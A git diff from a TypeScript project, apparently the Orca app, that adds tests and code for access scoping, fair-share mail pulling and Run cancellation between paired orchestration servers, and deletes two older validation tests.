+    db.close()
+    rmSync(dir, { recursive: true, force: true })
+    vi.restoreAllMocks()
+    vi.useRealTimers()
+  })
+
+  function peerCall(
+    method: string,
+    params: Record<string, unknown>,
+    options: { requestId?: string; conversation?: string } = {}
+  ): Promise<RpcResponse> {
+    sequence += 1
+    return dispatcher.dispatch(
+      {
+        id: `peer_${sequence}`,
+        authToken: 'token',
+        method,
+        params,
+        orchestrationContractVersion: ORCHESTRATION_CONTRACT_VERSION,
+        orchestrationPeerRun: {
+          runId: 'run_home',
+          conversationId: options.conversation ?? conversationId,
+          label: 'devA'
+        },
+        ...(options.requestId ? { orchestrationRequestId: options.requestId } : {})
+      },
+      PAIRED
+    )
+  }
+
+  function localCall(method: string, params: Record<string, unknown>): Promise<RpcResponse> {
+    sequence += 1
+    return dispatcher.dispatch({
+      id: `local_${sequence}`,
+      authToken: 'token',
+      method,
+      params,
+      orchestrationContractVersion: ORCHESTRATION_CONTRACT_VERSION
+    })
+  }
+
+  function peerRunId(): string {
+    return db.getPeerRunForConversation(conversationId)!.run_id
+  }
+
+  /** The peer's Run with one worker in it, and a local Run with another. */
+  async function twoRuns() {
+    await peerCall('orchestration.runCurrent', {})
+    const peerTask = db.createTask({ spec: 'peer work', runId: peerRunId() })
+    const peerWork = createRootDispatch(db, peerTask.id, 'term_w', WORKER_PANE)
+    const localRun = db.createRun({
+      objective: 'local',
+      coordinatorHandle: 'term_l',
+      coordinatorPaneKey: LOCAL_PANE
+    })
+    const localTask = db.createTask({ spec: 'local work', runId: localRun.id })
+    const localWork = createRootDispatch(db, localTask.id, 'term_o', OTHER_PANE)
+    return { peerWork, localRun, localWork }
+  }
+
+  async function pull(id: string, params: Record<string, unknown> = {}) {
+    const response = await dispatcher.dispatch(
+      {
+        id,
+        authToken: 'token',
+        method: 'orchestration.peerMailPull',
+        params,
+        orchestrationContractVersion: ORCHESTRATION_CONTRACT_VERSION
+      },
+      PAIRED
+    )
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the pull's result schema; a refusal reads as an empty page.
+    return (response.ok ? response.result : { items: [] }) as {
+      items: { conversationId: string; kind: string }[]
+    }
+  }
+
+  function refused(response: RpcResponse): string | undefined {
+    return response.ok ? undefined : response.error.code
+  }
+
+  it("writes the peer's Run when its frame arrives, before the call awaits anything", () => {
+    const pending = peerCall('orchestration.runCurrent', {})
+    const run = db.getPeerRunForConversation(conversationId)
+    expect(run).toMatchObject({ home_run_id: 'run_home', home_label: 'devA', state: 'open' })
+    expect(db.getRun(run!.run_id)).toBeDefined()
+    return pending
+  })
+
+  it('admits a peer Run only from a runtime pairing', async () => {
+    sequence += 1
+    const response = await dispatcher.dispatch(
+      {
+        id: 'mobile',
+        authToken: 'token',
+        method: 'orchestration.runCurrent',
+        params: {},
+        orchestrationContractVersion: ORCHESTRATION_CONTRACT_VERSION,
+        orchestrationPeerRun: { runId: 'run_home', conversationId, label: 'devA' }
+      },
+      { ...PAIRED, clientKind: 'mobile' }
+    )
+    expect(refused(response)).toBe('mail_requires_server_pairing')
+    expect(db.getPeerRunForConversation(conversationId)).toBeUndefined()
+  })
+
+  it('refuses commands that act on this server as a whole', async () => {
+    const { localRun } = await twoRuns()
+    expect(refused(await peerCall('orchestration.reset', { all: true }))).toBe('forbidden')
+    expect(refused(await peerCall('orchestration.runUse', { id: localRun.id }))).toBe('forbidden')
+    expect(db.getRun(localRun.id)).toBeDefined()
+  })
+
+  it("keeps another Run's worker out of reach by terminal, pane or session, but not its own", async () => {
+    const { peerWork, localWork } = await twoRuns()
+    db.db
+      .prepare('UPDATE dispatch_contexts SET assignee_orca_session_id = ? WHERE id = ?')
+      .run('33333333-3333-4333-8333-333333333334', localWork.id)
+
+    for (const target of [
+      { terminal: 'term_o' },
+      { paneKey: OTHER_PANE },
+      { sessionId: '33333333-3333-4333-8333-333333333334' }
+    ]) {
+      expect(
+        refused(await peerCall('orchestration.workerKeepOpen', { ...target, keep: true }))
+      ).toBe('forbidden')
+    }
+    expect(peerWork.assignee_handle).toBe('term_w')
+    expect(
+      (await peerCall('orchestration.workerKeepOpen', { terminal: 'term_w', keep: true })).ok
+    ).toBe(true)
+  })
+
+  it('reads only its own Run from an unqualified worker list and inbox', async () => {
+    const { peerWork, localRun } = await twoRuns()
+    db.insertMessage({
+      from: 'term_w',
+      to: `run:${peerRunId()}`,
+      subject: 'mine',
+      runId: peerRunId()
+    })
+    db.insertMessage({
+      from: 'term_o',
+      to: `run:${localRun.id}`,
+      subject: 'theirs',
+      runId: localRun.id
+    })
+
+    const list = await peerCall('orchestration.workerList', { paginate: true })
+    const inbox = await peerCall('orchestration.inbox', {})
+
+    expect(list.ok && list.result).toMatchObject({
+      workers: [{ dispatchId: peerWork.id, coordinatedFrom: 'devA' }],
+      page: { total: 1 }
+    })
+    expect(inbox.ok && inbox.result).toMatchObject({ messages: [{ subject: 'mine' }], count: 1 })
+  })
+
+  it('sends and replies only inside its own Run, by any address form', async () => {
+    const { localRun, localWork } = await twoRuns()
+    const question = db.insertMessage({
+      from: 'term_o',
+      to: `run:${localRun.id}`,
+      subject: 'Question',
+      type: 'question',
+      runId: localRun.id
+    })
+    for (const to of ['term_o', `dispatch:${localWork.id}`, `run:${localRun.id}`, '@all']) {
+      expect(refused(await peerCall('orchestration.send', { to, subject: 'hi' }))).toBe('forbidden')
+    }
+    expect(refused(await peerCall('orchestration.reply', { id: question.id, body: 'yes' }))).toBe(
+      'forbidden'
+    )
+  })
+
+  it('cannot reach its former worker once that terminal coordinates local work', async () => {
+    await twoRuns()
+    db.createRun({
+      objective: 'later local',
+      coordinatorHandle: 'term_w',
+      coordinatorPaneKey: WORKER_PANE
+    })
+    expect(refused(await peerCall('orchestration.send', { to: 'term_w', subject: 'hi' }))).toBe(
+      'forbidden'
+    )
+  })
+
+  it('refuses a start that would place in its workspace, which it has none of here', async () => {
+    for (const worktree of ['current', 'new-child']) {
+      const response = await peerCall('orchestration.workerStart', { spec: 'work', worktree })
+      expect(response.ok ? undefined : response.error).toMatchObject({
+        code: 'invalid_argument',
+        message: expect.stringContaining('--on requires an exact remote worktree selector')
+      })
+    }
+  })
+
+  it('follows up with a finished worker where that worker ran, though it has no workspace here', async () => {
+    await peerCall('orchestration.runCurrent', {})
+    const peer = peerCoordinatorCaller(db.getPeerRunForConversation(conversationId)!)
+    const placed = startWorker(
+      { from: peer.address, run: peerRunId(), spec: 'One more thing' },
+      {
+        runtime,
+        orchestrationMutation: undefined,
+        orchestrationCompatibilityEvidence: undefined,
+        orchestrationCaller: peer
+      },
+      {
+        of: 'ctx_finished',
+        addressed: 'ctx_finished',
+        place: async () => {
+          throw new Error('placed where the worker ran')
+        }
+      }
+    )
+    await expect(placed).rejects.toThrow('placed where the worker ran')
+  })
+
+  it("never answers one Run's cancel with another Run's receipt", async () => {
+    const other = generateId('peerconv')
+    await peerCall('orchestration.peerRunCancel', {}, { requestId: 'cancel:1.1' })
+    const second = await peerCall(
+      'orchestration.peerRunCancel',
+      {},
+      { requestId: 'cancel:1.1', conversation: other }
+    )
+    expect(second.ok && second.result).not.toMatchObject({ mutation: { replayed: true } })
+  })
+
+  it('stays the only coordinator of its Run: a local terminal cannot bind it', async () => {
+    await twoRuns()
+    const response = await localCall('orchestration.runUse', { id: peerRunId(), from: 'term_l' })
+    expect(refused(response)).toBe('consumer_fenced')
+    expect(db.getRun(peerRunId())?.coordinator_handle).toBe(`peer:${conversationId}`)
+  })
+
+  it('cannot be impersonated by a local caller declaring its address', async () => {
+    await twoRuns()
+    const address = `peer:${conversationId}`
+    const mail = db.insertMessage({
+      from: 'term_w',
+      to: address,
+      subject: 'done',
+      runId: peerRunId()
+    })
+    const check = await localCall('orchestration.check', {
+      terminal: address,
+      terminalPaneKey: address
+    })
+    expect(refused(check)).toBe('forbidden')
+    expect(db.getMessageById(mail.id)?.read).toBe(0)
+    const send = await localCall('orchestration.send', {
+      from: 'term_l',
+      senderPaneKey: address,
+      to: 'term_w',
+      subject: 'hi'
+    })
+    expect(refused(send)).toBe('forbidden')
+  })
+
+  it('keeps work in its Run, helpers included, from calling on to another server', async () => {
+    const { localRun } = await twoRuns()
+    const helperTask = db.createTask({ spec: 'helper', runId: peerRunId() })
+    createRootDispatch(db, helperTask.id, 'term_l', LOCAL_PANE)
+    for (const [method, params] of [
+      ['orchestration.send', { from: 'term_w', to: 'term_x', subject: 'hi', on: 'devC' }],
+      ['orchestration.workerStart', { from: 'term_l', spec: 'more', on: 'devC' }]
+    ] as const) {
+      const response = await localCall(method, params)
+      expect(response.ok ? undefined : response.error.message).toMatch(/coordinated from devA/)
+    }
+    expect(localRun.id).toBeDefined()
+  })
+
+  it('cancels over the ordinary stop and answers what it could not yet prove stopped', async () => {
+    await peerCall('orchestration.runCurrent', {})
+    const task = db.createTask({ spec: 'peer work', runId: peerRunId() })
+    const { dispatch } = db.createStartingWorkerDispatch({
+      taskId: task.id,
+      startOptions: {},
+      creator: { kind: 'system' },
+      maxDepth: 5
+    })
+    const remaining = async (requestId: string) => {
+      const response = await peerCall('orchestration.peerRunCancel', {}, { requestId })
+      return response.ok ? response.result : response.error
+    }
+
+    // A worker still starting cannot be stopped yet, so the cancel is owed again.
+    expect(await remaining('cancel:1.1')).toMatchObject({ remaining: 1 })
+    expect(db.getPeerRunForConversation(conversationId)?.state).toBe('closed')
+    db.transitionLifecycle({ entity: 'worker', id: dispatch.id, from: 'starting', to: 'failed' })
+    // A lost answer's retry replays it; a new attempt runs the stops again.
+    expect(await remaining('cancel:1.1')).toMatchObject({
+      remaining: 1,
+      mutation: { replayed: true }
+    })
+    expect(await remaining('cancel:1.2')).toMatchObject({ remaining: 0 })
+  })
+
+  it('cancels a Run it never had, and closes it', async () => {
+    const response = await peerCall('orchestration.peerRunCancel', {}, { requestId: 'cancel:1.1' })
+    expect(response.ok && response.result).toMatchObject({ remaining: 0 })
+    expect(db.getPeerRunForConversation(conversationId)?.state).toBe('closed')
+    // A closed Run still admits its coordinator's cancel.
+    const again = await peerCall('orchestration.peerRunCancel', {}, { requestId: 'cancel:1.2' })
+    expect(again.ok && again.result).toMatchObject({ remaining: 0 })
+  })
+
+  it('gives every conversation a share of each pull, so an unimportable head starves no other', async () => {
+    const stuck = conversationId
+    const other = generateId('peerconv')
+    await peerCall('orchestration.runCurrent', {})
+    await peerCall('orchestration.runCurrent', {}, { conversation: other })
+    const stuckRun = db.getPeerRunForConversation(stuck)!.run_id
+    const otherRun = db.getPeerRunForConversation(other)!.run_id
+    for (let index = 0; index < 60; index += 1) {
+      db.insertMessage({
+        from: 'term_w',
+        to: `run:${stuckRun}`,
+        subject: `s${index}`,
+        runId: stuckRun
+      })
+    }
+    db.insertMessage({ from: 'term_w', to: `run:${otherRun}`, subject: 'done', runId: otherRun })
+
+    const items = await pull('pull')
+    expect(items.items.filter((item) => item.conversationId === other)).toEqual([
+      expect.objectContaining({ kind: 'worker_mail' })
+    ])
+  })
+
+  it('fits every pending conversation in one page when they number fewer than its size', async () => {
+    const conversations = Array.from({ length: 30 }, () => generateId('peerconv'))
+    for (const conversation of conversations) {
+      await peerCall('orchestration.runCurrent', {}, { conversation })
+      const runId = db.getPeerRunForConversation(conversation)!.run_id
+      for (const subject of ['one', 'two']) {
+        db.insertMessage({ from: 'term_w', to: `run:${runId}`, subject, runId })
+      }
+    }
+    const page = await pull('pull')
+    expect(new Set(page.items.map((item) => item.conversationId)).size).toBe(30)
+  })
+
+  it('rotates the page when more conversations are pending than it holds, so none starves', async () => {
+    const conversations = Array.from({ length: 51 }, () => generateId('peerconv'))
+    for (const conversation of conversations) {
+      await peerCall('orchestration.runCurrent', {}, { conversation })
+      const runId = db.getPeerRunForConversation(conversation)!.run_id
+      db.insertMessage({ from: 'term_w', to: `run:${runId}`, subject: 'stuck', runId })
+    }
+    const seen = new Set<string>()
+    for (const id of ['pull_1', 'pull_2']) {
+      for (const item of (await pull(id)).items) {
+        seen.add(item.conversationId)
+      }
+    }
+    expect(seen.size).toBe(51)
+  })
+
+  it('wakes a waiting pull when a worker in its Run changes state', async () => {
+    await peerCall('orchestration.runCurrent', {})
+    const task = db.createTask({ spec: 'peer work', runId: peerRunId() })
+    const { dispatch } = db.createStartingWorkerDispatch({
+      taskId: task.id,
+      startOptions: {},
+      creator: { kind: 'system' },
+      maxDepth: 5
+    })
+    db.acknowledgeFederationRelay({
+      dispatchId: conversationId,
+      direction: 'to_home',
+      throughSequence: 1_000
+    })
+    // The pull's own deadline never passes, so only the state change can answer it.
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] })
+    const waiting = pull('pull', { waitMs: 20_000 })
+    await new Promise((resolve) => setImmediate(resolve))
+    db.transitionLifecycle({ entity: 'worker', id: dispatch.id, from: 'starting', to: 'ready' })
+
+    expect((await waiting).items).toEqual([expect.objectContaining({ kind: 'worker_state' })])
+  })
+})
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/peer-mail-methods.ts b/src/main/runtime/rpc/methods/orchestration/federation/peer-mail-methods.ts
index 6d79a0577dd..7c7b5df0a94 100644
--- a/src/main/runtime/rpc/methods/orchestration/federation/peer-mail-methods.ts
+++ b/src/main/runtime/rpc/methods/orchestration/federation/peer-mail-methods.ts
@@ -35,17 +35,24 @@ function requireRuntimePairing(
   return ctx.authenticatedCallerFingerprint
 }
 
+// Where each pairing's next page starts, per database, when more conversations are pending than a page holds.
+const pullRotations = new WeakMap<object, Map<string, number>>()
+
+/** Every conversation with pending items gets an equal share of the page, so an item the paired Orca
+ *  cannot import yet, which stays at its conversation's head, never starves another conversation. */
 function pendingReplies(db: OrchestrationDb, peerFingerprint: string): FederationRelayItemRow[] {
-  const items: FederationRelayItemRow[] = []
-  for (const conversationId of db.listPeerConversationIds(peerFingerprint)) {
-    if (items.length >= PULL_PAGE_SIZE) {
-      break
-    }
-    items.push(
-      ...db.listPendingFederationRelay(conversationId, 'to_home', PULL_PAGE_SIZE - items.length)
-    )
-  }
-  return items
+  const pending = db
+    .listPeerConversationIds(peerFingerprint)
+    .filter((id) => db.listPendingFederationRelay(id, 'to_home', 1).length > 0)
+  const share = Math.max(1, Math.floor(PULL_PAGE_SIZE / pending.length))
+  const pullRotation = pullRotations.get(db.db) ?? new Map<string, number>()
+  pullRotations.set(db.db, pullRotation)
+  const start = pending.length > PULL_PAGE_SIZE ? (pullRotation.get(peerFingerprint) ?? 0) : 0
+  pullRotation.set(peerFingerprint, (start + PULL_PAGE_SIZE) % Math.max(1, pending.length))
+  return [...pending.slice(start), ...pending.slice(0, start)]
+    .slice(0, PULL_PAGE_SIZE)
+    .flatMap((id) => db.listPendingFederationRelay(id, 'to_home', share))
+    .slice(0, PULL_PAGE_SIZE)
 }
 
 export const ORCHESTRATION_PEER_MAIL_METHODS = [
@@ -154,8 +161,10 @@ export const ORCHESTRATION_PEER_MAIL_METHODS = [
       const db = ctx.runtime.getOrchestrationDb()
       let items = pendingReplies(db, peerFingerprint)
       const waitMs = Math.min(Math.max(params.waitMs ?? 0, 0), MAX_PULL_WAIT_MS)
-      if (items.length === 0 && waitMs > 0) {
-        await waitForPeerMail(db, waitMs, ctx.signal)
+      const deadline = Date.now() + waitMs
+      // A wake is any queued change on this Orca, so one that queued nothing for this peer waits on.
+      while (items.length === 0 && Date.now() < deadline && !ctx.signal?.aborted) {
+        await waitForPeerMail(db.db, deadline - Date.now(), ctx.signal)
         items = pendingReplies(ctx.runtime.getOrchestrationDb(), peerFingerprint)
       }
       return {
@@ -163,6 +172,7 @@ export const ORCHESTRATION_PEER_MAIL_METHODS = [
           conversationId: item.dispatch_id,
           sequence: item.sequence,
           messageId: item.message_id,
+          kind: item.kind,
           payload: item.payload
         }))
       }
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/peer-mail.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/peer-mail.test.ts
index c624b2989fa..54dc45a324f 100644
--- a/src/main/runtime/rpc/methods/orchestration/federation/peer-mail.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration/federation/peer-mail.test.ts
@@ -293,19 +293,6 @@ describe('agent mail between paired Orca servers', () => {
     expect(b.db.getInbox(10).filter((message) => message.subject === 'Once')).toHaveLength(1)
   })
 
-  it('refuses payload fields before sending anything', async () => {
-    const sent = await mutation(a, 'orchestration.send', {
-      from: 'term_a',
-      on: 'devB',
-      to: 'term_b',
-      subject: 'Report',
-      payload: '{"taskId":"task_1"}'
-    })
-
-    expect(sent).toMatchObject({ ok: false, error: { code: 'invalid_argument' } })
-    expect(b.db.getInbox(10)).toEqual([])
-  })
-
   it('refuses mail to a worker another Orca coordinates', async () => {
     vi.spyOn(b.db, 'findActiveRemoteAttachmentForPane').mockImplementation((paneKey) =>
       // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a test double carrying only the fields the code under test reads.
@@ -323,19 +310,6 @@ describe('agent mail between paired Orca servers', () => {
     expect(b.db.getInbox(10)).toEqual([])
   })
 
-  it('refuses a conversation ID that is not a peer conversation', async () => {
-    const delivered = await transport.call('devB', 'orchestration.peerMailDeliver', {
-      conversationId: 'ctx_aaaaaaaaaaaa',
-      messageId: 'msg_aaaaaaaaaaaa',
-      to: 'term_b',
-      senderLabel: "term_a on Jinwoo's Mac",
-      subject: 'Into a dispatch'
-    })
-
-    expect(delivered).toMatchObject({ ok: false, error: { code: 'invalid_argument' } })
-    expect(b.db.getInbox(10)).toEqual([])
-  })
-
   it('keeps conversing with a server after it is re-paired', async () => {
     await mutation(a, 'orchestration.send', {
       from: 'term_a',
@@ -385,7 +359,7 @@ describe('agent mail between paired Orca servers', () => {
     a.db.resetMessages()
     // The ack was lost: the server serves the stored reply again.
     b.db['db'].prepare('UPDATE federation_relay_items SET acked_at = NULL').run()
-    notifyPeerMailQueued(b.db)
+    notifyPeerMailQueued(b.db.db)
 
     await vi.waitFor(() =>
       expect(b.db.listPendingFederationRelay(conversationId!, 'to_home')).toEqual([])
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/peer-run-methods.ts b/src/main/runtime/rpc/methods/orchestration/federation/peer-run-methods.ts
new file mode 100644
index 00000000000..a64ce31c976
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration/federation/peer-run-methods.ts
@@ -0,0 +1,54 @@
+import { defineOrchestrationMethod } from '../access/orchestration-method-access'
+import { OrchestrationError } from '../../../../orchestration/orchestration-error'
+import type { OrchestrationDb } from '../../../../orchestration/db/orchestration-db'
+import { WORKER_SETTLED_STATES } from '../../../../orchestration/terminal-authority/release/worker-terminal-ownership'
+import {
+  PeerRunCancelParams,
+  type PeerRunCancelResult
+} from '../../../../../../shared/orchestration/remote-owned-wire'
+import type { z } from 'zod'
+import { stopWorkerAndHelpers } from '../worker/worker-stop'
+
+export const ORCHESTRATION_PEER_RUN_METHODS = [
+  defineOrchestrationMethod({
+    name: 'orchestration.peerRunCancel',
+    access: { kind: 'writes', targets: {} },
+    permission: 'workspace',
+    params: PeerRunCancelParams,
+    /** The paired Orca reset its Run: close it here, then run the ordinary stop on each live worker. */
+    handler: async (_params, { runtime, orchestrationCaller }) => {
+      if (orchestrationCaller?.kind !== 'peer') {
+        throw new OrchestrationError(
+          'forbidden',
+          'Only the paired Orca that coordinates a Run cancels it. No effects were applied.',
+          { effectsApplied: false }
+        )
+      }
+      const db = runtime.getOrchestrationDb()
+      const runId = orchestrationCaller.peerRun.run_id
+      // Committed before any stop, so nothing more starts in it while the stops run.
+      db.closePeerRun(runId)
+      for (const dispatchId of liveWorkerDispatchIds(db, runId)) {
+        // Each stop's own outcome stays on its Dispatch; the count below is the answer.
+        await stopWorkerAndHelpers(runtime, dispatchId, undefined).catch(() => undefined)
+      }
+      const result: z.infer<typeof PeerRunCancelResult> = {
+        remaining: liveWorkerDispatchIds(db, runId).length
+      }
+      return result
+    }
+  })
+]
+
+/** Workers in the Run not yet proven settled; a Run this Orca never had work in has none. */
+function liveWorkerDispatchIds(db: OrchestrationDb, runId: string): string[] {
+  const settled = WORKER_SETTLED_STATES.map(() => '?').join(', ')
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT of one column returns exactly that column.
+  const rows = db.db
+    .prepare(
+      `SELECT d.id FROM dispatch_contexts d JOIN worker_dispatches w ON w.dispatch_id = d.id
+       WHERE d.run_id = ? AND w.state NOT IN (${settled}) ORDER BY d.rowid`
+    )
+    .all(runId, ...WORKER_SETTLED_STATES) as { id: string }[]
+  return rows.map((row) => row.id)
+}
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/check-methods.ts b/src/main/runtime/rpc/methods/orchestration/messaging/check-methods.ts
index cc9251aeff5..11af8dd3c25 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/check-methods.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/check-methods.ts
@@ -22,6 +22,7 @@ export const ORCHESTRATION_CHECK_METHODS = [
     access: {
       kind: 'writes',
       caller: 'terminal',
+      callerPane: 'terminalPaneKey',
       targets: { run: 'run', ack: 'message' },
       collection: true
     },
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/check-run-pending-mail.ts b/src/main/runtime/rpc/methods/orchestration/messaging/check-run-pending-mail.ts
index 2b90558c392..31ec54fb285 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/check-run-pending-mail.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/check-run-pending-mail.ts
@@ -7,7 +7,7 @@ import { acknowledgedOnlyReceipt, handsOverBatch } from './mailbox-message-recei
 import { currentDispatchAssigneeRun } from './recipient-routing'
 import { callerHoldsDispatchPane, dispatchFenced } from './dispatch-mailbox-fence'
 import { orchestrationCallerIdentity } from '../runs/run-scope'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { CheckParams } from '../../../../../../shared/rpc-contract/orchestration-params'
 import type { z } from 'zod'
 
@@ -18,7 +18,7 @@ export async function checkRunPendingMail(args: {
   run: RunRow
   handle: string
   paneKey: string | undefined
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
   typeFilter: MessageType[] | undefined
   signal: AbortSignal | undefined
   revalidateConsumer: () => void
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/check-run.ts b/src/main/runtime/rpc/methods/orchestration/messaging/check-run.ts
index 49ef6a58dbe..b52ac709c7e 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/check-run.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/check-run.ts
@@ -11,7 +11,7 @@ import { routeAllMailboxPages } from './mailbox-page-routing'
 import { resolveRunScope } from '../runs/run-scope'
 import type { CheckParams } from '../../../../../../shared/rpc-contract/orchestration-params'
 import type { z } from 'zod'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import { checkRunPendingMail } from './check-run-pending-mail'
 import { FEDERATION_RELAY_WAIT_REARM_MS } from '../../../../orchestration/federation/relay/federation-relay-scheduler'
 
@@ -23,7 +23,7 @@ export async function checkRunMailbox(args: {
   db: OrchestrationDb
   handle: string
   paneKey: string | undefined
-  callerSession: OrchestrationSessionCaller | undefined
+  callerSession: OrchestrationEntryCaller | undefined
   typeFilter: MessageType[] | undefined
   signal: AbortSignal | undefined
   legacyCoordinatorRunId: string | undefined
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/helper-question-answerer.ts b/src/main/runtime/rpc/methods/orchestration/messaging/helper-question-answerer.ts
index d38486eb25d..944a3dfcb14 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/helper-question-answerer.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/helper-question-answerer.ts
@@ -1,5 +1,5 @@
 import type { OrchestrationCompatibilityEvidence } from '../../../../../../shared/orchestration/orchestration-compatibility-evidence'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { MessageRow } from '../../../../orchestration/db/orchestration-records'
 import type { OrcaRuntimeService } from '../../../../orca-runtime'
 import { assertCallerHandleMatchesEvidence, orchestrationCallerIdentity } from '../runs/run-scope'
@@ -10,7 +10,7 @@ export function helperQuestionAnswerer(
   args: {
     question: MessageRow
     from: string | undefined
-    session: OrchestrationSessionCaller | undefined
+    session: OrchestrationEntryCaller | undefined
     evidence: OrchestrationCompatibilityEvidence | undefined
   }
 ): { dispatchId: string; consumerGeneration: number } | undefined {
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/message-methods.ts b/src/main/runtime/rpc/methods/orchestration/messaging/message-methods.ts
index 027c7f424e3..fff196ea676 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/message-methods.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/message-methods.ts
@@ -18,16 +18,18 @@ export const ORCHESTRATION_MESSAGE_METHODS = [
     name: 'orchestration.inbox',
     permission: 'workspace',
     params: InboxParams,
-    access: { kind: 'reads', targets: { terminal: 'party' }, collection: true },
+    access: { kind: 'reads', targets: { terminal: 'party', run: 'run' }, collection: true },
     handler: (params, { runtime }) => {
       const db = runtime.getOrchestrationDb()
       // Return empty for stale/unknown handles because historical mail outlives handle deletion (design doc §3.3).
       const messages = params.terminal
         ? db.getAllMessagesForHandle(
             resolveOrchestrationParty(params.terminal, db).address,
-            params.limit
+            params.limit,
+            undefined,
+            params.run
           )
-        : db.getInbox(params.limit)
+        : db.getInbox(params.limit, params.run)
       return {
         messages: messages.map(({ answer_sender_snapshot: _answer, ...message }) => message),
         count: messages.length
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-reply.ts b/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-reply.ts
index e78a9abda6a..f23c85fdc82 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-reply.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-reply.ts
@@ -1,5 +1,5 @@
 import type { OrcaRuntimeService } from '../../../../orca-runtime'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { PeerMailMessageRow } from '../../../../orchestration/db/federation/peer-mail-store'
 import type { MessageRow } from '../../../../orchestration/db/orchestration-records'
 import { OrchestrationError } from '../../../../orchestration/orchestration-error'
@@ -21,7 +21,7 @@ export async function replyOverPeerMail(args: {
   original: MessageRow
   route: PeerMailMessageRow
   params: { body: string; from?: string; on?: string }
-  orchestrationCaller: OrchestrationSessionCaller | undefined
+  orchestrationCaller: OrchestrationEntryCaller | undefined
   orchestrationMutation: { callerFingerprint: string; requestId: string } | undefined
   recordMutationReceipt: ((receipt: unknown) => void) | undefined
 }): Promise<unknown> {
@@ -67,7 +67,7 @@ export async function replyOverPeerMail(args: {
     return recordReceiptBeforeNudge(
       args.recordMutationReceipt,
       { message: { id, subject }, to: original.from_handle },
-      () => notifyPeerMailQueued(db),
+      () => notifyPeerMailQueued(db.db),
       { kind: 'messages', targets: [] }
     )
   }
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-send.ts b/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-send.ts
index a9fa69344b3..a18969d81c4 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-send.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/peer-mail-send.ts
@@ -1,6 +1,6 @@
 import type { z } from 'zod'
 import type { OrcaRuntimeService } from '../../../../orca-runtime'
-import type { OrchestrationSessionCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
 import type { OrchestrationCompatibilityCallerAuthority } from '../../../../orchestration/terminal-authority/orchestration-compatibility-authority'
 import { OrchestrationError } from '../../../../orchestration/orchestration-error'
 import {
@@ -20,7 +20,7 @@ const NOTHING_SENT = { effectsApplied: false } as const
 export function peerMailLocalCaller(args: {
   runtime: OrcaRuntimeService
   from: string | undefined
-  orchestrationCaller: OrchestrationSessionCaller | undefined
+  orchestrationCaller: OrchestrationEntryCaller | undefined
   attestedCaller: OrchestrationCompatibilityCallerAuthority | undefined
 }): { address: string; paneKey: string | null } {
   if (args.orchestrationCaller) {
@@ -51,7 +51,7 @@ export function peerMailLocalCaller(args: {
 export async function sendPeerMail(args: {
   params: z.infer<typeof SendParams> & { on: string }
   runtime: OrcaRuntimeService
-  orchestrationCaller: OrchestrationSessionCaller | undefined
+  orchestrationCaller: OrchestrationEntryCaller | undefined
   attestedCaller: OrchestrationCompatibilityCallerAuthority | undefined
   orchestrationMutation: { callerFingerprint: string; requestId: string } | undefined
   recordMutationReceipt: ((receipt: unknown) => void) | undefined
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/reply-method.ts b/src/main/runtime/rpc/methods/orchestration/messaging/reply-method.ts
index 94e0996ac2d..19d52a02e68 100644
--- a/src/main/runtime/rpc/methods/orchestration/messaging/reply-method.ts
+++ b/src/main/runtime/rpc/methods/orchestration/messaging/reply-method.ts
@@ -29,6 +29,7 @@ export const ORCHESTRATION_REPLY_METHOD = defineOrchestrationMethod({
   access: {
     kind: 'writes',
     caller: 'from',
+    server: 'on',
     targets: { id: 'message', run: 'run' },
     rule: replyAccess
   },
diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts
index 1d9c485e919..a0ad726c0cd 100644
